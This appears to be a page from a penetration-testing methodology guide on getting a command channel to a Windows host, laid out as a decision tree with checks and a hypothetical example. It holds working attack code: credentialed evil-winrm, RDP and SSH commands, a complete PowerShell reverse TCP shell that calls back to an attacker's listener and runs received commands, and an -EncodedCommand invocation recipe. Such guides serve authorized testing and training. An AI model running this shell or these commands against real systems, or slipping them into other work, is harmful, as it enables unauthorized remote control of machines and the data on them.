Use Windows authenticated access or a PowerShell command channel

Needs: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Prefer an available authenticated service

# Prefer an available authenticated service
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive

# PowerShell TCP shell when direct command execution is the only primitive
$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

# Generate UTF-16LE Base64 locally
$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context

REM Invoke in the target command context
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Verify → Verify hostname, whoami /all and command behavior through the resulting channel.

If it fails → A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses. More detail ↓

If → then

A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
Needs: A functioning command channel and the actual effective token/process context
A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting
Needs: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
PowerShell reports scripts disabled, constrained syntax or an execution-control error → Distinguish PowerShell policy, language mode and protected execution layers
Needs: Actual host policy/language context and a supported allowed execution route; required runtime features remain available

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use Windows authenticated access or a PowerShell command channel

USE WHEN: Windows execution or valid credentials with an available remote service
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A verified Windows session with known token and channel limitations

Recognize the clue

From Windows execution inspect the actual PowerShell/runtime context and any reachable authenticated remote service before building a callback.

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

SYNTHETIC EXAMPLE OUTPUT

User: DOMAIN\APP_USER
PSVersion: AVAILABLE_VERSION
LanguageMode: ConstrainedLanguage

Means: The execution identity and constrained language context affect which command-channel implementations can run.

Confirm: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.

After validation: A supported native endpoint or verified compatible command channel works: use it and verify its token.
Ruled out in this context: The chosen .NET-heavy implementation is blocked by this language mode: discard that implementation.
Still inconclusive: Unknown policy/AMSI/endpoint behavior requires identifying the first failing layer.

Troubleshooting: A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.

Additional prerequisite checks

hostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Prefer an available authenticated service:

PowerShell TCP shell when direct command execution is the only primitive:

This is a basic command channel, not a ConPTY. Host policy, language mode, AMSI/antimalware, quoting and the parent process can affect it.

PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:

Invoke in the target command context:

Why it works

Authenticated WinRM/RDP/SSH can be simpler than an injected callback. A basic PowerShell TCP loop is a command stream rather than a full terminal; encoding fixes parser transport, not authorization or endpoint controls.

Worked example · hypothetical

Observation: a PowerShell command can execute but RDP rights are absent. Test: select a supported command channel and verify its identity. Illustrative output: commands run as the web service account. Interpretation: enumerate that token rather than assume an interactive administrator session.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗